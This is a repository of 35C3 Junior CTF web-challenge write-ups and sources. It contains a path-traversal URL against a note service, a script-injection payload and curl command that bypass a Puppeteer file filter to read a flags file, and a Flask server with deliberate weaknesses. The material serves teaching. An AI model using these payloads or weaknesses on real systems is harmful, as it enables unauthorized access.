| ``` 44 | 45 | Having this in mind we can create a note using the provided HTML form. 46 | Remember the `id` and inject it in the `view.php` like this: 47 | 48 | ``` 49 | http://35.207.120.163/view.php?id=3691017393700169359/../../admin&pw=4216455ceebbc3038bd0550c85b6a3bf 50 | ``` 51 | 52 | You'll notice the malicious `id` GET parameter `3691017393700169359/../../admin`. 53 | PHP will evalute the `id` like the following when checking for the file: 54 | 55 | ```php 56 | "./pws/3691017393700169359.pw" 57 | ``` 58 | 59 | but like this when reading the file: 60 | 61 | ```php 62 | echo file_get_contents($BACKEND . "get/3691017393700169359/../../admin); 63 | ``` 64 | 65 | ... which is a problem because that actually accesses the backends `/admin` endpoint. :tada: 66 | -------------------------------------------------------------------------------- /web/not(e)_accessible/src/backend/app.rb: -------------------------------------------------------------------------------- 1 | require 'sinatra' 2 | set :bind, '0.0.0.0' 3 | 4 | get '/get/:id' do 5 | File.read("./notes/#{params['id']}.note") 6 | end 7 | 8 | get '/store/:id/:note' do 9 | File.write("./notes/#{params['id']}.note", params['note']) 10 | puts "OK" 11 | end 12 | 13 | get '/admin' do 14 | File.read("flag.txt") 15 | end 16 | -------------------------------------------------------------------------------- /web/not(e)_accessible/src/frontend/assets/js/bootstrap.min.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * Bootstrap v4.1.3 (https://getbootstrap.com/) 3 | * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) 4 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) 5 | */ 6 | !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;nthis._items.length-1||t<0))if(this._isSliding)P(this._element).one(Q.SLID,function(){return e.to(t)});else{if(n===t)return this.pause(),void this.cycle();var i=ndocument.documentElement.clientHeight;!this._isBodyOverflowing&&t&&(this._element.style.paddingLeft=this._scrollbarWidth+"px"),this._isBodyOverflowing&&!t&&(this._element.style.paddingRight=this._scrollbarWidth+"px")},t._resetAdjustments=function(){this._element.style.paddingLeft="",this._element.style.paddingRight=""},t._checkScrollbar=function(){var t=document.body.getBoundingClientRect();this._isBodyOverflowing=t.left+t.right
',trigger:"hover focus",title:"",delay:0,html:!(Ie={AUTO:"auto",TOP:"top",RIGHT:"right",BOTTOM:"bottom",LEFT:"left"}),selector:!(Se={animation:"boolean",template:"string",title:"(string|element|function)",trigger:"string",delay:"(number|object)",html:"boolean",selector:"(string|boolean)",placement:"(string|function)",offset:"(number|string)",container:"(string|element|boolean)",fallbackPlacement:"(string|array)",boundary:"(string|element)"}),placement:"top",offset:0,container:!1,fallbackPlacement:"flip",boundary:"scrollParent"},we="out",Ne={HIDE:"hide"+Ee,HIDDEN:"hidden"+Ee,SHOW:(De="show")+Ee,SHOWN:"shown"+Ee,INSERTED:"inserted"+Ee,CLICK:"click"+Ee,FOCUSIN:"focusin"+Ee,FOCUSOUT:"focusout"+Ee,MOUSEENTER:"mouseenter"+Ee,MOUSELEAVE:"mouseleave"+Ee},Oe="fade",ke="show",Pe=".tooltip-inner",je=".arrow",He="hover",Le="focus",Re="click",xe="manual",We=function(){function i(t,e){if("undefined"==typeof h)throw new TypeError("Bootstrap tooltips require Popper.js (https://popper.js.org)");this._isEnabled=!0,this._timeout=0,this._hoverState="",this._activeTrigger={},this._popper=null,this.element=t,this.config=this._getConfig(e),this.tip=null,this._setListeners()}var t=i.prototype;return t.enable=function(){this._isEnabled=!0},t.disable=function(){this._isEnabled=!1},t.toggleEnabled=function(){this._isEnabled=!this._isEnabled},t.toggle=function(t){if(this._isEnabled)if(t){var e=this.constructor.DATA_KEY,n=pe(t.currentTarget).data(e);n||(n=new this.constructor(t.currentTarget,this._getDelegateConfig()),pe(t.currentTarget).data(e,n)),n._activeTrigger.click=!n._activeTrigger.click,n._isWithActiveTrigger()?n._enter(null,n):n._leave(null,n)}else{if(pe(this.getTipElement()).hasClass(ke))return void this._leave(null,this);this._enter(null,this)}},t.dispose=function(){clearTimeout(this._timeout),pe.removeData(this.element,this.constructor.DATA_KEY),pe(this.element).off(this.constructor.EVENT_KEY),pe(this.element).closest(".modal").off("hide.bs.modal"),this.tip&&pe(this.tip).remove(),this._isEnabled=null,this._timeout=null,this._hoverState=null,(this._activeTrigger=null)!==this._popper&&this._popper.destroy(),this._popper=null,this.element=null,this.config=null,this.tip=null},t.show=function(){var e=this;if("none"===pe(this.element).css("display"))throw new Error("Please use show on visible elements");var t=pe.Event(this.constructor.Event.SHOW);if(this.isWithContent()&&this._isEnabled){pe(this.element).trigger(t);var n=pe.contains(this.element.ownerDocument.documentElement,this.element);if(t.isDefaultPrevented()||!n)return;var i=this.getTipElement(),r=Fn.getUID(this.constructor.NAME);i.setAttribute("id",r),this.element.setAttribute("aria-describedby",r),this.setContent(),this.config.animation&&pe(i).addClass(Oe);var o="function"==typeof this.config.placement?this.config.placement.call(this,i,this.element):this.config.placement,s=this._getAttachment(o);this.addAttachmentClass(s);var a=!1===this.config.container?document.body:pe(document).find(this.config.container);pe(i).data(this.constructor.DATA_KEY,this),pe.contains(this.element.ownerDocument.documentElement,this.tip)||pe(i).appendTo(a),pe(this.element).trigger(this.constructor.Event.INSERTED),this._popper=new h(this.element,i,{placement:s,modifiers:{offset:{offset:this.config.offset},flip:{behavior:this.config.fallbackPlacement},arrow:{element:je},preventOverflow:{boundariesElement:this.config.boundary}},onCreate:function(t){t.originalPlacement!==t.placement&&e._handlePopperPlacementChange(t)},onUpdate:function(t){e._handlePopperPlacementChange(t)}}),pe(i).addClass(ke),"ontouchstart"in document.documentElement&&pe(document.body).children().on("mouseover",null,pe.noop);var l=function(){e.config.animation&&e._fixTransition();var t=e._hoverState;e._hoverState=null,pe(e.element).trigger(e.constructor.Event.SHOWN),t===we&&e._leave(null,e)};if(pe(this.tip).hasClass(Oe)){var c=Fn.getTransitionDurationFromElement(this.tip);pe(this.tip).one(Fn.TRANSITION_END,l).emulateTransitionEnd(c)}else l()}},t.hide=function(t){var e=this,n=this.getTipElement(),i=pe.Event(this.constructor.Event.HIDE),r=function(){e._hoverState!==De&&n.parentNode&&n.parentNode.removeChild(n),e._cleanTipClass(),e.element.removeAttribute("aria-describedby"),pe(e.element).trigger(e.constructor.Event.HIDDEN),null!==e._popper&&e._popper.destroy(),t&&t()};if(pe(this.element).trigger(i),!i.isDefaultPrevented()){if(pe(n).removeClass(ke),"ontouchstart"in document.documentElement&&pe(document.body).children().off("mouseover",null,pe.noop),this._activeTrigger[Re]=!1,this._activeTrigger[Le]=!1,this._activeTrigger[He]=!1,pe(this.tip).hasClass(Oe)){var o=Fn.getTransitionDurationFromElement(n);pe(n).one(Fn.TRANSITION_END,r).emulateTransitionEnd(o)}else r();this._hoverState=""}},t.update=function(){null!==this._popper&&this._popper.scheduleUpdate()},t.isWithContent=function(){return Boolean(this.getTitle())},t.addAttachmentClass=function(t){pe(this.getTipElement()).addClass(Te+"-"+t)},t.getTipElement=function(){return this.tip=this.tip||pe(this.config.template)[0],this.tip},t.setContent=function(){var t=this.getTipElement();this.setElementContent(pe(t.querySelectorAll(Pe)),this.getTitle()),pe(t).removeClass(Oe+" "+ke)},t.setElementContent=function(t,e){var n=this.config.html;"object"==typeof e&&(e.nodeType||e.jquery)?n?pe(e).parent().is(t)||t.empty().append(e):t.text(pe(e).text()):t[n?"html":"text"](e)},t.getTitle=function(){var t=this.element.getAttribute("data-original-title");return t||(t="function"==typeof this.config.title?this.config.title.call(this.element):this.config.title),t},t._getAttachment=function(t){return Ie[t.toUpperCase()]},t._setListeners=function(){var i=this;this.config.trigger.split(" ").forEach(function(t){if("click"===t)pe(i.element).on(i.constructor.Event.CLICK,i.config.selector,function(t){return i.toggle(t)});else if(t!==xe){var e=t===He?i.constructor.Event.MOUSEENTER:i.constructor.Event.FOCUSIN,n=t===He?i.constructor.Event.MOUSELEAVE:i.constructor.Event.FOCUSOUT;pe(i.element).on(e,i.config.selector,function(t){return i._enter(t)}).on(n,i.config.selector,function(t){return i._leave(t)})}pe(i.element).closest(".modal").on("hide.bs.modal",function(){return i.hide()})}),this.config.selector?this.config=l({},this.config,{trigger:"manual",selector:""}):this._fixTitle()},t._fixTitle=function(){var t=typeof this.element.getAttribute("data-original-title");(this.element.getAttribute("title")||"string"!==t)&&(this.element.setAttribute("data-original-title",this.element.getAttribute("title")||""),this.element.setAttribute("title",""))},t._enter=function(t,e){var n=this.constructor.DATA_KEY;(e=e||pe(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),pe(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusin"===t.type?Le:He]=!0),pe(e.getTipElement()).hasClass(ke)||e._hoverState===De?e._hoverState=De:(clearTimeout(e._timeout),e._hoverState=De,e.config.delay&&e.config.delay.show?e._timeout=setTimeout(function(){e._hoverState===De&&e.show()},e.config.delay.show):e.show())},t._leave=function(t,e){var n=this.constructor.DATA_KEY;(e=e||pe(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),pe(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusout"===t.type?Le:He]=!1),e._isWithActiveTrigger()||(clearTimeout(e._timeout),e._hoverState=we,e.config.delay&&e.config.delay.hide?e._timeout=setTimeout(function(){e._hoverState===we&&e.hide()},e.config.delay.hide):e.hide())},t._isWithActiveTrigger=function(){for(var t in this._activeTrigger)if(this._activeTrigger[t])return!0;return!1},t._getConfig=function(t){return"number"==typeof(t=l({},this.constructor.Default,pe(this.element).data(),"object"==typeof t&&t?t:{})).delay&&(t.delay={show:t.delay,hide:t.delay}),"number"==typeof t.title&&(t.title=t.title.toString()),"number"==typeof t.content&&(t.content=t.content.toString()),Fn.typeCheckConfig(ve,t,this.constructor.DefaultType),t},t._getDelegateConfig=function(){var t={};if(this.config)for(var e in this.config)this.constructor.Default[e]!==this.config[e]&&(t[e]=this.config[e]);return t},t._cleanTipClass=function(){var t=pe(this.getTipElement()),e=t.attr("class").match(be);null!==e&&e.length&&t.removeClass(e.join(""))},t._handlePopperPlacementChange=function(t){var e=t.instance;this.tip=e.popper,this._cleanTipClass(),this.addAttachmentClass(this._getAttachment(t.placement))},t._fixTransition=function(){var t=this.getTipElement(),e=this.config.animation;null===t.getAttribute("x-placement")&&(pe(t).removeClass(Oe),this.config.animation=!1,this.hide(),this.show(),this.config.animation=e)},i._jQueryInterface=function(n){return this.each(function(){var t=pe(this).data(ye),e="object"==typeof n&&n;if((t||!/dispose|hide/.test(n))&&(t||(t=new i(this,e),pe(this).data(ye,t)),"string"==typeof n)){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}})},s(i,null,[{key:"VERSION",get:function(){return"4.1.3"}},{key:"Default",get:function(){return Ae}},{key:"NAME",get:function(){return ve}},{key:"DATA_KEY",get:function(){return ye}},{key:"Event",get:function(){return Ne}},{key:"EVENT_KEY",get:function(){return Ee}},{key:"DefaultType",get:function(){return Se}}]),i}(),pe.fn[ve]=We._jQueryInterface,pe.fn[ve].Constructor=We,pe.fn[ve].noConflict=function(){return pe.fn[ve]=Ce,We._jQueryInterface},We),Jn=(qe="popover",Ke="."+(Fe="bs.popover"),Me=(Ue=e).fn[qe],Qe="bs-popover",Be=new RegExp("(^|\\s)"+Qe+"\\S+","g"),Ve=l({},zn.Default,{placement:"right",trigger:"click",content:"",template:''}),Ye=l({},zn.DefaultType,{content:"(string|element|function)"}),ze="fade",Ze=".popover-header",Ge=".popover-body",$e={HIDE:"hide"+Ke,HIDDEN:"hidden"+Ke,SHOW:(Je="show")+Ke,SHOWN:"shown"+Ke,INSERTED:"inserted"+Ke,CLICK:"click"+Ke,FOCUSIN:"focusin"+Ke,FOCUSOUT:"focusout"+Ke,MOUSEENTER:"mouseenter"+Ke,MOUSELEAVE:"mouseleave"+Ke},Xe=function(t){var e,n;function i(){return t.apply(this,arguments)||this}n=t,(e=i).prototype=Object.create(n.prototype),(e.prototype.constructor=e).__proto__=n;var r=i.prototype;return r.isWithContent=function(){return this.getTitle()||this._getContent()},r.addAttachmentClass=function(t){Ue(this.getTipElement()).addClass(Qe+"-"+t)},r.getTipElement=function(){return this.tip=this.tip||Ue(this.config.template)[0],this.tip},r.setContent=function(){var t=Ue(this.getTipElement());this.setElementContent(t.find(Ze),this.getTitle());var e=this._getContent();"function"==typeof e&&(e=e.call(this.element)),this.setElementContent(t.find(Ge),e),t.removeClass(ze+" "+Je)},r._getContent=function(){return this.element.getAttribute("data-content")||this.config.content},r._cleanTipClass=function(){var t=Ue(this.getTipElement()),e=t.attr("class").match(Be);null!==e&&0=this._offsets[r]&&("undefined"==typeof this._offsets[r+1]||t=o.clientWidth&&n>=o.clientHeight}),l=0a[e]&&!t.escapeWithReference&&(n=J(f[o],a[e]-('right'===e?f.width:f.height))),ae({},o,n)}};return l.forEach(function(e){var t=-1===['left','top'].indexOf(e)?'secondary':'primary';f=le({},f,m[t](e))}),e.offsets.popper=f,e},priority:['left','right','top','bottom'],padding:5,boundariesElement:'scrollParent'},keepTogether:{order:400,enabled:!0,fn:function(e){var t=e.offsets,o=t.popper,n=t.reference,i=e.placement.split('-')[0],r=Z,p=-1!==['top','bottom'].indexOf(i),s=p?'right':'bottom',d=p?'left':'top',a=p?'width':'height';return o[s]r(n[s])&&(e.offsets.popper[d]=r(n[s])),e}},arrow:{order:500,enabled:!0,fn:function(e,o){var n;if(!q(e.instance.modifiers,'arrow','keepTogether'))return e;var i=o.element;if('string'==typeof i){if(i=e.instance.popper.querySelector(i),!i)return e;}else if(!e.instance.popper.contains(i))return console.warn('WARNING: `arrow.element` must be child of its popper element!'),e;var r=e.placement.split('-')[0],p=e.offsets,s=p.popper,d=p.reference,a=-1!==['left','right'].indexOf(r),l=a?'height':'width',f=a?'Top':'Left',m=f.toLowerCase(),h=a?'left':'top',c=a?'bottom':'right',u=S(i)[l];d[c]-us[c]&&(e.offsets.popper[m]+=d[m]+u-s[c]),e.offsets.popper=g(e.offsets.popper);var b=d[m]+d[l]/2-u/2,y=t(e.instance.popper),w=parseFloat(y['margin'+f],10),E=parseFloat(y['border'+f+'Width'],10),v=b-e.offsets.popper[m]-w-E;return v=$(J(s[l]-u,v),0),e.arrowElement=i,e.offsets.arrow=(n={},ae(n,m,Q(v)),ae(n,h,''),n),e},element:'[x-arrow]'},flip:{order:600,enabled:!0,fn:function(e,t){if(W(e.instance.modifiers,'inner'))return e;if(e.flipped&&e.placement===e.originalPlacement)return e;var o=v(e.instance.popper,e.instance.reference,t.padding,t.boundariesElement,e.positionFixed),n=e.placement.split('-')[0],i=T(n),r=e.placement.split('-')[1]||'',p=[];switch(t.behavior){case he.FLIP:p=[n,i];break;case he.CLOCKWISE:p=z(n);break;case he.COUNTERCLOCKWISE:p=z(n,!0);break;default:p=t.behavior;}return p.forEach(function(s,d){if(n!==s||p.length===d+1)return e;n=e.placement.split('-')[0],i=T(n);var a=e.offsets.popper,l=e.offsets.reference,f=Z,m='left'===n&&f(a.right)>f(l.left)||'right'===n&&f(a.left)f(l.top)||'bottom'===n&&f(a.top)f(o.right),g=f(a.top)f(o.bottom),b='left'===n&&h||'right'===n&&c||'top'===n&&g||'bottom'===n&&u,y=-1!==['top','bottom'].indexOf(n),w=!!t.flipVariations&&(y&&'start'===r&&h||y&&'end'===r&&c||!y&&'start'===r&&g||!y&&'end'===r&&u);(m||b||w)&&(e.flipped=!0,(m||b)&&(n=p[d+1]),w&&(r=G(r)),e.placement=n+(r?'-'+r:''),e.offsets.popper=le({},e.offsets.popper,C(e.instance.popper,e.offsets.reference,e.placement)),e=P(e.instance.modifiers,e,'flip'))}),e},behavior:'flip',padding:5,boundariesElement:'viewport'},inner:{order:700,enabled:!1,fn:function(e){var t=e.placement,o=t.split('-')[0],n=e.offsets,i=n.popper,r=n.reference,p=-1!==['left','right'].indexOf(o),s=-1===['top','left'].indexOf(o);return i[p?'left':'top']=r[o]-(s?i[p?'width':'height']:0),e.placement=T(t),e.offsets.popper=g(i),e}},hide:{order:800,enabled:!0,fn:function(e){if(!q(e.instance.modifiers,'hide','preventOverflow'))return e;var t=e.offsets.reference,o=D(e.instance.modifiers,function(e){return'preventOverflow'===e.name}).boundaries;if(t.bottomo.right||t.top>o.bottom||t.right 2 | 3 | 4 | 5 | 6 | 7 | Not(e) accessible 8 | 9 | 32 | 33 | 34 | 35 | 38 | 39 |
40 | 41 |
42 |

Not(e) accessible :-(

43 |

This is good service. It is not(e) accessible!

44 |
45 |
46 |
47 |
48 | 49 | 50 |
51 | 52 |
53 |
54 | 55 | 1000) { 62 | die("ERROR! - Text too long"); 63 | } 64 | 65 | if(!preg_match("/^[a-zA-Z]+$/", $note)) { 66 | die("ERROR! - Text does not match /^[a-zA-Z]+$/"); 67 | } 68 | 69 | $id = random_int(PHP_INT_MIN, PHP_INT_MAX); 70 | $pw = md5($note); 71 | 72 | # Save password so that we can check it later 73 | file_put_contents("./pws/$id.pw", $pw); 74 | 75 | file_get_contents($BACKEND . "store/" . $id . "/" . $note); 76 | 77 | echo '
'; 78 | echo "

Your note ID is $id
"; 79 | echo "Your note PW is $pw

"; 80 | 81 | echo "Click here to view your note!"; 82 | echo '
'; 83 | } 84 | ?> 85 |
86 | 87 |
88 |
89 | With love from @gehaxelt for the 35C3 Junior CTF and ESPR :-) 90 |
91 |
92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | -------------------------------------------------------------------------------- /web/not(e)_accessible/src/frontend/view.php: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /web/not_implemented/README.md: -------------------------------------------------------------------------------- 1 | # Challenge NOT_IMPLEMENTED 2 | 3 | 500 Points 4 | 5 | ## Challenge 6 | 7 | NOT_IMPLEMENTED was not implemented nor intended. Capture it and profit. 8 | 9 | http://35.207.132.47 10 | 11 | Difficulty estimate: Hard++ 12 | 13 | Good coders should learn one new language every year. 14 | 15 | InfoSec folks are even used to learn one new language for every new problem they face (YMMV). 16 | 17 | If you have not picked up a new challenge in 2018, you're in for a treat. 18 | 19 | We took the new and upcoming Wee programming language from paperbots.io. Big shout-out to Mario Zechner (@badlogicgames) at this point. 20 | 21 | Some cool Projects can be created in Wee, like: this, this and that. 22 | 23 | Since we already know Java, though, we ported the server (Server.java and Paperbots.java) to Python (WIP) and constantly add awesome functionality. Get the new open-sourced server at /pyserver/server.py. 24 | 25 | Anything unrelated to the new server is left unchanged from commit dd059961cbc2b551f81afce6a6177fcf61133292 at badlogics paperbot github (mirrored up to this commit here). 26 | 27 | We even added new features to this better server, like server-side Wee evaluation! 28 | 29 | To make server-side Wee the language of the future, we already implemented awesome runtime functions. To make sure our VM is 100% safe and secure, there are also assertion functions in server-side Wee that you don't have to be concerned about. 30 | 31 | Hints: 32 | - Once you dug through every layer, you have reached the core. From there you may chose any direction and move anywhere. 33 | 34 | 35 | 36 | ## Solution 37 | 38 | The only place in the server.py where the NOT_IMPLEMENTED is referenced is in the following request: 39 | 40 | ``` 41 | @app.route("/pyserver/flags.py", methods=["GET"]) 42 | def server_flags(): 43 | return Response(""" 44 | DB_SECRET = "35C3_???" 45 | DECRYPTED = "35C3_???" 46 | DEV_NULL = "35C3_???" 47 | LOCALHOST = "35C3_???" 48 | LOGGED_IN = "35C3_???" 49 | NOT_IMPLEMENTED = "35C3_???" 50 | """, mimetype='text/x-python') 51 | ``` 52 | 53 | But the flag "NOT_IMPLEMENTED" is not imported into the server.py, only the other flags: 54 | 55 | ``` 56 | from flags import DB_SECRET, DECRYPTED, DEV_NULL, LOCALHOST, LOGGED_IN 57 | ``` 58 | 59 | So we need to read the file flags.py from the server. Luckily, the weeterpreter.ts allow us to execute javascript code in a Puppeteer environment. The environment is configurated to not load files except the ones that pass the following check: 60 | 61 | ``` 62 | page.on('request', r=> (r.url().startsWith("file://") && ( 63 | r.url().endsWith("weelang/pypyjs.html") || 64 | r.url().endsWith("lib/FunctionPromise.js") || 65 | r.url().endsWith("lib/pypyjs.js") || 66 | r.url().endsWith("lib/pypyjs.vm.js") || 67 | r.url().endsWith("lib/pypyjs.vm.js.zmem") 68 | ) ? r.continue() : r.abort() && console.log("blocked", r.url())) 69 | ) 70 | ``` 71 | 72 | This check is not really save, since we can request a file any file and just append ?lib/pypyjs.js to the file and pass the check. 73 | 74 | After some tries, it was possible for us to load the flags.py as javascript code (luckily for us the python code to define the flags is also valid javascript code). But it seems like our additional code gets executed before the flag.py could load and NOT_IMPLEMENTED as always not defined. 75 | 76 | But it seems like the puppeteer browser is only created once per request, so we could execute multiple evals and wait a little between them. This gives puppeteer time to load flags.py. After some try-and-error this is a successfull payload: 77 | 78 | ``` 79 | alert( 80 | eval(' 81 | inject = document.createElement(`script`); 82 | inject.src=`../pyserver/flags.py?lib/pypyjs.js`; 83 | document.head.append(inject); 84 | ') 85 | ) 86 | eval(' 87 | function sleepFor( sleepDuration ){ 88 | var now = new Date().getTime(); 89 | while(new Date().getTime() < now + sleepDuration){} 90 | } 91 | sleepFor(1000); 92 | ') 93 | alert(eval('NOT_IMPLEMENTED')) 94 | ``` 95 | 96 | The flags.py file is loaded first as external javascript. Then we busy wait for 1 second to make sure the file was loaded. After that we can simply "alert" the flag. 97 | 98 | Final execution: 99 | ``` 100 | root@blackbox:# curl -X POST -d @payload.txt "http://35.207.132.47/wee/run" 101 | {"code":" [removed for readability]","result":"undefined\n35C3_I_AM_TOO_LAZY_TO_BUILD_THIS_JUST_TAKE_THE_FLAG_JEEZ\n"} 102 | ``` 103 | 104 | Flag: 35C3_I_AM_TOO_LAZY_TO_BUILD_THIS_JUST_TAKE_THE_FLAG_JEEZ 105 | 106 | Funny sidenote: The exploit in this challenge we could possible also get all other flags that are saved in flags.py (challenges that are based of paperbots) :trophy: 107 | -------------------------------------------------------------------------------- /web/not_implemented/payload.txt: -------------------------------------------------------------------------------- 1 | { 2 | "code": " 3 | alert( 4 | eval(' 5 | inject = document.createElement(`script`); 6 | inject.src=`../pyserver/flags.py?lib/pypyjs.js`; 7 | document.head.append(inject); 8 | ') 9 | ) 10 | eval(' 11 | function sleepFor( sleepDuration ){ 12 | var now = new Date().getTime(); 13 | while(new Date().getTime() < now + sleepDuration){} 14 | } 15 | sleepFor(1000); 16 | ') 17 | alert(eval('NOT_IMPLEMENTED'))" 18 | } 19 | -------------------------------------------------------------------------------- /web/not_implemented/pypyjs.html: -------------------------------------------------------------------------------- 1 | 2 | Secure Python 3 | 4 | 5 | 6 | 7 | 45 | 46 | 47 |
MzVDM19IT1dfREVFUF9USEVfUkFCQklUX0hPTEVfR08zUw==
48 | 49 | 50 | -------------------------------------------------------------------------------- /web/saltfish/README.md: -------------------------------------------------------------------------------- 1 | # Challenge saltfish 2 | 3 | 62 Points 4 | 5 | ## Challenge 6 | 7 | "I have been told that the best crackers in the world can do this under 60 minutes but unfortunately I need someone who can do this under 60 seconds." - Gabriel 8 | 9 | http://35.207.89.211 10 | 11 | ## Solution 12 | 13 | At the given IP there is the following code available: 14 | 15 | ``` 16 | 42 | Warning: A non-numeric value encountered in /var/www/html/index.php on line 5
43 | 35c3_password_saltf1sh_30_seconds_max 44 | ``` 45 | 46 | -------------------------------------------------------------------------------- /web/saltfish/index.php: -------------------------------------------------------------------------------- 1 | sqlite3.Connection: 36 | db = getattr(g, '_database', None) 37 | if db is None: 38 | db = g._database = sqlite3.connect(DATABASE) 39 | return db 40 | 41 | 42 | def init_db(): 43 | with app.app_context(): 44 | db = get_db() 45 | with open(MIGRATION_PATH, "r") as f: 46 | db.cursor().executescript(f.read()) 47 | db.execute("CREATE TABLE `secrets`(`id` INTEGER PRIMARY KEY AUTOINCREMENT, `secret` varchar(255) NOT NULL)") 48 | db.execute("INSERT INTO secrets(secret) values(?)", (DB_SECRET,)) 49 | db.commit() 50 | 51 | 52 | def query_db(query, args=(), one=True) -> Union[List[Tuple], Tuple, None]: 53 | if not isinstance(args, tuple): 54 | args = (args,) 55 | cur = get_db().execute(query, args) 56 | rv = cur.fetchall() 57 | cur.close() 58 | return (rv[0] if rv else None) if one else rv 59 | 60 | 61 | def user_by_token(token) -> Tuple[int, str, str, str]: 62 | """ 63 | queries and returns userId, username, email, usertype for a given token 64 | :param token: the token 65 | :return: userId, name, email, usertype 66 | """ 67 | if not token: 68 | raise AttributeError("Token must not be empty") 69 | 70 | userId, = query_db("SELECT userId FROM userTokens WHERE token=?", token) # TODO: Join this? 71 | name, email, usertype = query_db("SELECT name, email, type FROM users WHERE id=?", userId) 72 | return userId, name, email, usertype 73 | 74 | 75 | def random_code(length=6) -> str: 76 | return "".join([random.choice(string.ascii_lowercase)[0] for x in range(length)]) 77 | 78 | 79 | def get_code(username): 80 | db = get_db() 81 | c = db.cursor() 82 | userId, = query_db("SELECT id FROM users WHERE name=?", username) 83 | code = random_code() 84 | c.execute("INSERT INTO userCodes(userId, code) VALUES(?, ?)", (userId, code)) 85 | db.commit() 86 | # TODO: Send the code as E-Mail instead :) 87 | return code 88 | 89 | 90 | def jsonify_projects(projects, username, usertype): 91 | return jsonify([ 92 | {"code": x[0], 93 | "userName": x[1], 94 | "title": x[2], 95 | "public": x[3], 96 | "type": x[4], 97 | "lastModified": x[5], 98 | "created": x[6], 99 | "content": x[7] 100 | } for x in projects if usertype == "admin" or x[1] == username or x[3] 101 | ]) 102 | 103 | 104 | @app.teardown_appcontext 105 | def close_connection(exception): 106 | db = getattr(g, '_database', None) 107 | if db is not None: 108 | db.close() 109 | 110 | 111 | # Error handling 112 | @app.errorhandler(404) 113 | def fourohfour(e): 114 | return send_file(os.path.join(STATIC_PATH, "404.html")), 404 115 | 116 | 117 | @app.errorhandler(500) 118 | def fivehundred(e): 119 | return jsonify({"error": str(e)}), 500 120 | 121 | 122 | @app.after_request 123 | def secure(response: Response): 124 | if not request.path[-3:] in ["jpg", "png", "gif"]: 125 | response.headers["X-Frame-Options"] = "SAMEORIGIN" 126 | response.headers["X-Xss-Protection"] = "1; mode=block" 127 | response.headers["X-Content-Type-Options"] = "nosniff" 128 | response.headers["Content-Security-Policy"] = "script-src 'self' 'unsafe-inline';" 129 | response.headers["Referrer-Policy"] = "no-referrer-when-downgrade" 130 | response.headers["Feature-Policy"] = "geolocation 'self'; midi 'self'; sync-xhr 'self'; microphone 'self'; " \ 131 | "camera 'self'; magnetometer 'self'; gyroscope 'self'; speaker 'self'; " \ 132 | "fullscreen *; payment 'self'; " 133 | if request.remote_addr == "127.0.0.1": 134 | response.headers["X-Localhost-Token"] = LOCALHOST 135 | 136 | return response 137 | 138 | 139 | @app.route("/", methods=["GET"]) 140 | def main(): 141 | return send_file(os.path.join(STATIC_PATH, "index.html")) 142 | 143 | 144 | @app.route("/kitten.png") 145 | def kitten(): 146 | return send_file(os.path.join(STATIC_PATH, "img/kitten.png")) 147 | 148 | 149 | # The actual page 150 | @app.route("/", methods=["GET"]) 151 | def papercontents(filename): 152 | return send_from_directory(STATIC_PATH, filename) 153 | 154 | 155 | @app.route("/api/signup", methods=["POST"]) 156 | def signup(): 157 | usertype = "user" 158 | json = request.get_json(force=True) 159 | name = escape(json["name"].strip()) 160 | email = json["email"].strip() 161 | if len(name) == 0: 162 | raise Exception("InvalidUserName") 163 | if len(email) == 0: 164 | raise Exception("InvalidEmailAddress") 165 | if not len(email.split("@")) == 2: 166 | raise Exception("InvalidEmailAddress") 167 | email = escape(email.strip()) 168 | # Make sure the user name is 4-25 letters/digits only. 169 | if len(name) < 4 or len(name) > 25: 170 | raise Exception("InvalidUserName") 171 | 172 | if not all([x in string.ascii_letters or x in string.digits for x in name]): 173 | raise Exception("InvalidUserName") 174 | # Check if name exists 175 | if query_db("SELECT name FROM users WHERE name=?", name): 176 | raise Exception("UserExists") 177 | if query_db("Select id, name FROM users WHERE email=?", email): 178 | raise Exception("EmailExists") 179 | # Insert user // TODO: implement the verification email 180 | db = get_db() 181 | c = db.cursor() 182 | c.execute("INSERT INTO users(name, email, type) values(?, ?, ?)", (name, email, usertype)) 183 | db.commit() 184 | return jsonify({"success": True}) 185 | 186 | 187 | @app.route("/api/login", methods=["POST"]) 188 | def login(): 189 | print("Logging in?") 190 | # TODO Send Mail 191 | json = request.get_json(force=True) 192 | login = json["email"].strip() 193 | try: 194 | userid, name, email = query_db("SELECT id, name, email FROM users WHERE email=? OR name=?", (login, login)) 195 | except Exception as ex: 196 | raise Exception("UserDoesNotExist") 197 | return get_code(name) 198 | 199 | 200 | @app.route("/api/verify", methods=["POST"]) 201 | def verify(): 202 | code = request.get_json(force=True)["code"].strip() 203 | if not code: 204 | raise Exception("CouldNotVerifyCode") 205 | userid, = query_db("SELECT userId FROM userCodes WHERE code=?", code) 206 | db = get_db() 207 | c = db.cursor() 208 | c.execute("DELETE FROM userCodes WHERE userId=?", (userid,)) 209 | token = random_code(32) 210 | c.execute("INSERT INTO userTokens (userId, token) values(?,?)", (userid, token)) 211 | db.commit() 212 | name, = query_db("SELECT name FROM users WHERE id=?", (userid,)) 213 | resp = make_response() 214 | resp.set_cookie("token", token, max_age=2 ** 31 - 1) 215 | resp.set_cookie("name", name, max_age=2 ** 31 - 1) 216 | resp.set_cookie("logged_in", LOGGED_IN) 217 | return resp 218 | 219 | 220 | @app.route("/api/logout", methods=["POST"]) 221 | def logout(): 222 | request.cookies.get("token") 223 | resp = make_response() 224 | resp.set_cookie("token", "") 225 | resp.set_cookie("name", "") 226 | resp.set_cookie("logged_in", "") 227 | return resp 228 | 229 | 230 | @app.route("/api/getproject", methods=["POST"]) 231 | def getproject(): 232 | # TODO: Do. 233 | project_id = request.get_json(force=True)["projectId"] 234 | token = 